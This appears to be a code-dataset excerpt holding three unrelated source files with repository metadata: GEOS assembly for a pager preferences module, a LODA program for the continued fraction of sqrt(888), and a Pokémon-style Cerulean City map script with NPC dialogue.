ss:[matchAttrs][1*FileExtAttrDesc].FEAD_attr, \ FEA_END_OF_LIST push bp lea ax, ss:[matchAttrs] sub sp, size FileEnumParams mov bp, sp mov ss:[bp].FEP_searchFlags, mask FESF_GEOS_NON_EXECS or \ mask FESF_GEOS_EXECS mov ss:[bp].FEP_returnAttrs.segment, 0 mov ss:[bp].FEP_returnAttrs.offset, FESRT_NAME mov ss:[bp].FEP_returnSize, size FileLongName movdw ss:[bp].FEP_matchAttrs, ssax mov ss:[bp].FEP_bufSize, 1 mov ss:[bp].FEP_skipCount, 0 call FileEnum pop bp call FilePopDir jc noSpecialPrefs jcxz noSpecialPrefs ; ; Build the full path of the file in question. ; push bp push ds push bx ; save block handle of filename call MemLock mov ds, ax clr si ; ds:si = FileLongName clr dx ; don't add drive name mov bx, SP_PAGER_DRIVERS segmov es, ss, di lea di, ss:[filePath] ; es:di = buffer for path mov cx, size PathName call FileConstructFullPath mov cx, ss lea dx, ss:[filePath] mov bp, bx ; bp <- disk handle pop bx ; bx <- block handle of filename pop ds jc freeFullPath ; ; Tell the container about it. ; mov ax, MSG_GEN_PATH_SET mov si, offset PrefPagConfigContainer call ObjCallInstanceNoLock jc freeFullPath ; ; Set the change interaction enabled. ; mov ax, MSG_GEN_SET_ENABLED mov dl, VUM_NOW mov si, offset PrefPagChangeInteraction call ObjCallInstanceNoLock clc freeFullPath: ; ; Free the full-path block. ; lahf call MemFree sahf pop bp jc noSpecialPrefs ; => path set was bad, so make sure ; change intereaction is disabled done: .leave ret noSpecialPrefs: ; ; Set the change interaction not enabled. ; mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_NOW mov si, offset PrefPagChangeInteraction call ObjCallInstanceNoLock jmp short done PrefPagInstalledDeviceSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDynamicListGetArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the array of data for the list. CALLED BY: MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data RETURN: *ds:ax = the array DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDynamicListGetArray method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY mov ax, ds:[di].PPDLI_array ret PrefPagDynamicListGetArray endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDynamicListGetItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the specified item from the list. CALLED BY: MSG_PREF_PAG_DYNAMIC_LIST_GET_ITEM PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data dx = the number of the item to get RETURN: cx:dx = element ax = the item number of the element DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDynamicListGetItem method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_DYNAMIC_LIST_GET_ITEM uses di,si .enter mov si, ds:[di].PPDLI_array ; *ds:si <- the array mov ax, dx ; ax <- the selection call ChunkArrayElementToPtr ; ds:di <- the element mov dx, di mov cx, ds ; cx:dx <- the element EC < ERROR_C ITEM_NOT_IN_CHUNK_ARRAY > .leave ret PrefPagDynamicListGetItem endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDynamicListDeleteItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove an item from the list, internally and visually. CALLED BY: MSG_PREF_PAG_DYNAMIC_LIST_DELETE_ITEM PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data dx = the item to be removed RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDynamicListDeleteItem method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_DYNAMIC_LIST_DELETE_ITEM uses ax, cx, dx, bp, ds .enter ; ; Delete the item from the array of data for the list. ; mov bp, si ; save si in bp mov si, ds:[di].PPDLI_array ; *ds:si <- the array mov ax, dx ; ax <- the selection mov cx, 1 ; just delete 1 call ChunkArrayDeleteRange ; ; Update the list visually. ; mov si, bp ; restore si from bp xchg dx, cx ; dx <- 1, cx <- the selection mov ax, MSG_GEN_DYNAMIC_LIST_REMOVE_ITEMS call ObjCallInstanceNoLock .leave ret PrefPagDynamicListDeleteItem endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDynamicListAddItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add the item to the list internally and visually. CALLED BY: MSG_PREF_PAG_DYNAMIC_LIST_ADD_ITEM PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data cx:dx = asciiZ string to be added RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDynamicListAddItem method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_DYNAMIC_LIST_ADD_ITEM uses ax,cx,dx,di,si,bp,es .enter push cx, dx ; save string mov bp, si ; save si in bp ; ; Get the length of the passed string, including the null terminator. ; mov es, cx mov di, dx ; es:di = the string clr al mov cx, -1 repne scasb not cx ; cx <- the length (including ; ; Append a new item to the array for the list. ; mov di, ds:[si] add di, ds:[di].PrefPagDynamicList_offset mov si, ds:[di].PPDLI_array ; *ds:si <- the array mov ax, cx ; ax <- string length call ChunkArrayAppend ; ds:di <- new element ; ; Copy the string to the new element. ; segmov es, ds, dx ; es:di <- the new element pop ds, si ; ds:si <- the string rep movsb ; ; Update the list visually. ; segmov ds, es, ax mov si, bp ; *ds:si <- the list mov cx, GDLP_LAST ; add at end mov dx, 1 ; just add 1 mov ax, MSG_GEN_DYNAMIC_LIST_ADD_ITEMS call ObjCallInstanceNoLock .leave ret PrefPagDynamicListAddItem endm ;;------------------------------------------------------------------------ ;; Procedures ;;------------------------------------------------------------------------ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BuildArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Build the chunk array for the given list. CALLED BY: PrefPagInstalledListBuildArray, PrefPagAppListBuildArray PASS: dx = offset to asciiZ key string RETURN: *ds:si = chunk array cx = number of items in the chunk array DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/17/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BuildArray proc near uses ax,bx .enter ; ; Create the chunk array. ; clr ax, bx, cx, si ; variable sized, default header, alloc ; a chunk handle, no ObjChunkFlags set call ChunkArrayCreate ; *ds:si <- array ; ; Get the items and put them in the chunk array. ; call PrefPagGetItems ; *ds:si = chunk array ; ; Get the number of items in the chunk array. ; call ChunkArrayGetCount ; cx <- number of items .leave ret BuildArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagGetItems %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the items to be put in the chunk array from the specified key under the pager category in the INI file. CALLED BY: BuildArray PASS: *ds:si = chunk array dx = offset to asciiZ key string RETURN: *ds:si = chunk array DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/16/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagGetItems proc near uses ax,bx,cx,di,bp,es .enter ; ; Read the names of the items from the INI file. ; segmov es, ds, bx mov bx, si ; *es:bx = chunk array for callback proc segmov ds, cs, cx mov si, offset pagerCategoryString mov bp, InitFileReadFlags< IFCC_INTACT, 0,1,0> mov di, cx mov ax, offset BuildArrayCallBack ; di:ax = callback proc call InitFileEnumStringSection segmov ds, es, ax mov si, bx ; *ds:si = chunk array .leave ret PrefPagGetItems endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BuildArrayCallBack %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine to insert passed string into a chunk array. CALLED BY: PrefPagGetItems via InitFileEnumStringSection PASS: ds:si = string section (null-terminated) cx = length of section *es:bx = chunk array RETURN: *es:bx = chunk array DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/16/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BuildArrayCallBack proc far uses ax,cx,dx,ds .enter push bx ; save chunk array handle push ds, si ; save string section ; ; Append the string to the chunk array. ; segmov ds, es, ax mov si, bx ; *ds:si = chunk array mov ax, cx ; size of string inc ax ; for null terminator call ChunkArrayAppend ; ds:di <- new element ; ; Copy the string section to the new element. ; segmov es, ds, ax ; es:di = new element pop ds, si ; ds:si = string section rep movsb pop bx ; *es:bx = chunk array again .leave ret BuildArrayCallBack endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResetUsedPort %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the port used by the given pager and make it usable. CALLED BY: PrefPagRemovePager PASS: ds:si = asciiZ pager name RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResetUsedPort proc near uses ax,bx,cx,dx,si,bp .enter ; ; Get the name of the port that this pager used. ; mov cx, cs mov dx, offset portKeyString mov bp, InitFileReadFlags <IFCC_INTACT, 0,,0> call InitFileReadString ; bx <- block for port name EC < ERROR_C CANNOT_READ_PORT_FOR_DEVICE > ; ; Find the port with this name. ; call MemLock ; ax <- address of port name push ds ; save ds mov ds, ax clr si ; ds:si = port name call FindPort ; si <- offset to port object pop ds EC < ERROR_C INVALID_PORT_NAME > call MemFree ; ; Enable the port. (ds:si = the port object). ; mov dl, VUM_MANUAL ; dialog will close so no point mov ax, MSG_GEN_SET_ENABLED ; in updating it on screen call ObjCallInstanceNoLock .leave ret ResetUsedPort endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindPort %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the port with the given string as it's moniker. CALLED BY: ResetUsedPort PASS: ds:si = asciiZ port name RETURN: carry clear if successful si = offset to the port object if found else carry set DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindPort proc near uses bx,cx,di,es .enter segmov es, cs, cx mov bx, 12 ; ; Find the matching string. ; findPortLoop: push si ; save start of port name mov di, cs:portStringOffsetTable[bx] mov cx, 4 ; length of strings repe cmpsb pop si ; restore start of port name jz foundPort sub bx, 2 jns findPortLoop ; keep looking stc jmp short done foundPort: mov si, cs:portOffsetTable[bx] clc done: .leave ret portStringOffsetTable word \ offset Lpt1String, ; 0 offset Lpt2String, ; 2 offset Lpt3String, ; 4 offset Com1String, ; 6 offset Com2String, ; 8 offset Com3String, ; 10 offset Com4String ; 12 portOffsetTable word \ offset Lpt1Item, ; 0 offset Lpt2Item, ; 2 offset Lpt3Item, ; 4 offset Com1Item, ; 6 offset Com2Item, ; 8 offset Com3Item, ; 10 offset Com4Item ; 12 FindPort endp Lpt1String char "LPT1" Lpt2String char "LPT2" Lpt3String char "LPT3" Com1String char "COM1" Com2String char "COM2" Com3String char "COM3" Com4String char "COM4" COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetUsedPorts %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Disables all used ports. CALLED BY: PrefPagDialogOpen PASS: ds = dgroup RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetUsedPorts proc near uses ax,bx,di,si .enter ; ; Get the array for the list of installed pagers. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY call ObjCallInstanceNoLock ; *ds:ax <- the array ; ; Set the port for each installed pager as used. ; mov si, ax ; *ds:si <- the array mov bx, cs mov di, offset DisablePort ; callback routine call ChunkArrayEnum .leave ret SetUsedPorts endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DisablePort %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine for disabling the port for the passed pager. CALLED BY: SetUsedPorts via ChunkArrayEnum PASS: ds:di = asciiZ name of pager RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DisablePort proc far uses ax,bx,cx,dx,si,bp .enter ; ; Read the port name for the pager. ; mov si, di ; ds:si <- pager name mov cx, cs mov dx, offset portKeyString mov bp, InitFileReadFlags <IFCC_INTACT, 0,,0> call InitFileReadString ; bx <- block for port name EC < ERROR_C CANNOT_READ_PORT_FOR_DEVICE > ; ; Find the port with this name. ; call MemLock ; ax <- address of port name push ds ; save ds mov ds, ax clr si ; ds:si = port name call FindPort ; si <- offset to port object pop ds EC < ERROR_C INVALID_PORT_NAME > call MemFree ; ; Disable the port (ds:si = the port object). ; mov dl, VUM_MANUAL ; dialog isn't opened yet mov ax, MSG_GEN_SET_NOT_ENABLED call ObjCallInstanceNoLock .leave ret DisablePort endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagNotifyPagerWatcherPagerRemoved %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notifies the pager watcher that a pager has been removed. If there are no further installed pagers, removes the pager watcher from execOnStartup list in the INI file. CALLED BY: PrefPagRemovePager PASS: ds = dgroup dx = the selection that was removed RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/23/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagNotifyPagerWatcherPagerRemoved proc near uses ax,bx,cx,di,si,ds,bp .enter ; ; Find out how many pagers are currently installed. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY call ObjCallInstanceNoLock ; *ds:ax <- the array mov si, ax ; *ds:si <- the array call ChunkArrayGetCount ; cx <- # of elements jcxz noMorePagers continue: ; ; Use IACP to send a message to the watcher that a pager has been ; removed. The device removed is in dx already. ; segmov ds, cs, ax mov di, offset watcherToken mov ax, MSG_PAGER_WATCHER_DEVICE_REMOVED clr bx ; no completion msg mov si, MSG_GEN_PROCESS_OPEN_APPLICATION call IACP_SimpleConnectAndSend .leave ret noMorePagers: ; ; Remove the watcher from the execOnStartup list so it won't start ; up automatically when the system is booted. ; segmov ds, cs, ax mov si, offset watcherName ; ds:si <- name of app call UserRemoveAutoExec jmp short continue PrefPagNotifyPagerWatcherPagerRemoved endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagNotifyPagerWatcherPagerAdded %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notifies the pager watcher that a pager has been added. If this is the first pager that is added, the pager watcher is added to the execOnStartup list in the INI file and the pager watcher is launched. CALLED BY: PrefPagAddPager PASS: ds = dgroup RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/23/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagNotifyPagerWatcherPagerAdded proc near uses ax,cx,si,ds,bp .enter ; ; Find out how many pagers are currently installed. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY call ObjCallInstanceNoLock ; *ds:ax <- the array mov si, ax ; *ds:si <- the array call ChunkArrayGetCount ; cx <- # of elements segmov ds, cs, si cmp cx, 1 jne continue ; ; Add the pager watcher to the execOnStartup list so that it ; will startup automatically when the system is booted. ; mov si, offset watcherName ; ds:si <- name of app call UserAddAutoExec EC < mov si, offset ECwatcherName ; ds:si = name of ec app> EC < call UserAddAutoExec > EC < ; added this so that the EC version will be written to the > EC < ; INI file if we are running in EC mode > continue: ; ; Use IACP to send a message to the watcher that a pager has been ; added. ; mov di, offset watcherToken ; ds:di = GeodeToken mov ax, MSG_PAGER_WATCHER_DEVICE_ADDED clr bx ; no completion msg dec cx ; 0 based position of pager in list mov si, MSG_GEN_PROCESS_OPEN_APPLICATION call IACP_SimpleConnectAndSend .leave ret PrefPagNotifyPagerWatcherPagerAdded endp ;;--------------------------------------------------------------------------- ;; Strings ;;--------------------------------------------------------------------------- pagerCategoryString char "pager",0 appListKeyString char "appList",0 devicesKeyString char "devices",0 applicationKeyString char "application",0 portKeyString char "port",0 driverKeyString char "driver",0 onString char " on " toString char " to " watcherName char "Pager Watcher",0 ECwatcherName char "EC Pager Watcher", 0 watcherToken GeodeToken <<'PWAT'>, MANUFACTURER_ID_GEOWORKS> PrefPagCode ends
25.990352
79
0.589759
fa33fb7e84df48ce4f4e7060c5d2de72b53ab5e4
400
asm
Assembly
oeis/040/A040858.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040858.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040858.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040858: Continued fraction for sqrt(888). ; Submitted by Jon Maiga ; 29,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1,58,1,3,1 gcd $0,262156 mul $0,42 mod $0,13 mov $1,$0 add $0,4 div $0,2 add $1,3 div $1,5 mul $1,16 add $0,$1 mul $0,2 div $0,3 add $0,$1 sub $0,27
21.052632
190
0.5925
fdec684e31c98896ddc8a5cea8b36259bb4a23ec
6,039
asm
Assembly
maps/CeruleanCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/CeruleanCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/CeruleanCity.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
object_const_def ; object_event constants const CERULEANCITY_COOLTRAINER_M1 const CERULEANCITY_ROCKET const CERULEANCITY_GUARD const CERULEANCITY_COOLTRAINER_F const CERULEANCITY_SLOWBRO const CERULEANCITY_LASS const CERULEANCITY_COOLTRAINER_M2 const CERULEAN_CITY_POKEFAN CeruleanCity_MapScripts: db 0 ; scene scripts db 1 ; callbacks callback MAPCALLBACK_NEWMAP, .FlyPoint .FlyPoint: setflag ENGINE_FLYPOINT_CERULEAN return CeruleanCity_CooltrainerM1Script: jumptextfaceplayer CeruleanCity_CooltrainerM1Text1 CeruleanCity_CooltrainerM2Script: jumptextfaceplayer CeruleanCity_CooltrainerM2Text1 CeruleanCity_PokefanScript: jumptextfaceplayer CeruleanCity_PokefanText1 CeruleanCity_SchemeScript: jumptext CeruleanCity_SchemeText CeruleanCity_Slowbro: opentext writetext CeruleanCity_SlowbroText cry SLOWBRO waitbutton closetext end CeruleanCity_CooltrainerFScript: faceplayer opentext writetext CeruleanCity_CooltrainerFText1 waitbutton closetext turnobject CERULEANCITY_COOLTRAINER_F, LEFT opentext writetext CeruleanCity_CooltrainerFText2 waitbutton closetext opentext writetext CeruleanCity_SlowbroText cry SLOWBRO waitbutton closetext opentext writetext CeruleanCity_CooltrainerFText3 waitbutton closetext end CeruleanCity_LassScript: faceplayer opentext writetext CeruleanCity_LassText waitbutton closetext end CeruleanCitySign: jumptext CeruleanCitySignText CeruleanGymSign: jumptext CeruleanGymSignText CeruleanBikeShopSign: jumptext CeruleanBikeShopSignText CeruleanPoliceSign: jumptext CeruleanPoliceSignText CeruleanCapeSign: jumptext CeruleanCapeSignText CeruleanLockedDoor: jumptext CeruleanLockedDoorText CeruleanCityPokecenterSign: jumpstd pokecentersign CeruleanCityMartSign: jumpstd martsign ;CeruleanCityHiddenBerserkGene: ; hiddenitem BERSERK_GENE, EVENT_FOUND_BERSERK_GENE_IN_CERULEAN_CITY CeruleanCity_CooltrainerM1Text1: text "This is CERULEAN" line "CAVE! Horribly" cont "strong #MON" cont "live in there!" para "The #MON LEAGUE" line "champion is the" cont "only person who" cont "is allowed in!" done CeruleanCity_SchemeText: text "GRUNT: …" para "Okay, remember to" line "stick to the plan." para "I'll hit the place" line "and you monitor" cont "the situation" cont "from your spot." para "???: Yes." para "And if anyone gets" line "past the five" cont "trainers," para "I'll talk them" line "into joining us!" para "GRUNT: Perfect." para "Now, on to getting" line "that rare TM!" done CeruleanCity_SlowbroText: text "SLOWBRO: Yarah?" done CeruleanCity_PokefanText1: text "You're making an" line "encyclopedia on" cont "#MON? That" cont "sounds amusing." done CeruleanCity_CooltrainerFText1: text "My SLOWBRO and I" line "make an awesome" cont "combination!" done CeruleanCity_CooltrainerFText2: text "SLOWBRO, show me" line "your CONFUSION!" done CeruleanCity_CooltrainerFText3: text "…" done CeruleanCity_LassText: text "I want a bright" line "red BICYCLE!" para "I'll keep it at" line "home, so it won't" cont "get dirty!" done CeruleanCity_CooltrainerM2Text1: text "You're a trainer" line "too? Collecting," cont "fighting, it's a" cont "tough life." done CeruleanCitySignText: text "CERULEAN CITY" para "A Mysterious Blue" line "Aura Surrounds It" done CeruleanGymSignText: text "CERULEAN CITY" line "#MON GYM" cont "LEADER: MISTY" para "The Tomboyish" line "Mermaid" done CeruleanBikeShopSignText: text "BIKE SHOP" done CeruleanPoliceSignText: text "There's a notice" line "here…" para "Look out for" line "TEAM ROCKET!" para "If you encounter" line "one of them, please" para "report the incident" line "to an OFFICER!" para "CERULEAN POLICE" done CeruleanCapeSignText: text "CERULEAN CAPE" line "AHEAD" done CeruleanLockedDoorText: text "It's locked…" para "The people who live" line "here must be out." done CeruleanCity_MapEvents: db 0, 0 ; filler db 7 ; warp events warp_event 19, 17, CERULEAN_POKECENTER_1F, 1 warp_event 30, 19, CERULEAN_GYM, 1 warp_event 25, 25, CERULEAN_MART, 2 warp_event 13, 25, BIKE_SHOP, 1 warp_event 9, 11, CERULEAN_GYM_BADGE_SPEECH_HOUSE, 1 warp_event 15, 11, CERULEAN_MELANIES_HOUSE, 1 warp_event 13, 15, CERULEAN_TRADE_SPEECH_HOUSE, 1 db 0 ; coord events db 8 ; bg events bg_event 17, 29, BGEVENT_READ, CeruleanCitySign bg_event 23, 19, BGEVENT_READ, CeruleanGymSign bg_event 11, 25, BGEVENT_READ, CeruleanBikeShopSign bg_event 27, 21, BGEVENT_READ, CeruleanPoliceSign bg_event 23, 11, BGEVENT_READ, CeruleanCapeSign bg_event 27, 11, BGEVENT_READ, CeruleanLockedDoor bg_event 20, 17, BGEVENT_READ, CeruleanCityPokecenterSign bg_event 26, 25, BGEVENT_READ, CeruleanCityMartSign ; bg_event 2, 12, BGEVENT_ITEM, CeruleanCityHiddenBerserkGene db 7 ; object events object_event 20, 5, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_STANDING_RIGHT, 2, 2, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, CeruleanCity_SchemeScript, -1 object_event 21, 5, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_LEFT, 1, 1, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, CeruleanCity_SchemeScript, -1 object_event 4, 12, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_SPINRANDOM_SLOW, 2, 2, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, CeruleanCity_CooltrainerM1Script, -1 ;guard object_event 30, 26, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, CeruleanCity_CooltrainerFScript, -1 object_event 29, 26, SPRITE_SLOWPOKE, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, CeruleanCity_Slowbro, -1 object_event 8, 24, SPRITE_LASS, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, CeruleanCity_LassScript, -1 object_event 31, 22, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_WANDER, 1, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, CeruleanCity_CooltrainerM2Script, -1 object_event 10, 19, SPRITE_POKEFAN_M, SPRITEMOVEDATA_WANDER, 1, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, CeruleanCity_PokefanScript, -1
23.406977
169
0.792846
045f3519eae38e2622f63afac9de8ce32287e5e2
23,693
asm
Assembly
source/mcbank4.asm
PaulSlocum/marble-craze
559c73c898d3a5e2d6548ae67f0f077b282372ab
[ "MIT" ]
1
2020-12-12T21:23:31.000Z
2020-12-12T21:23:31.000Z
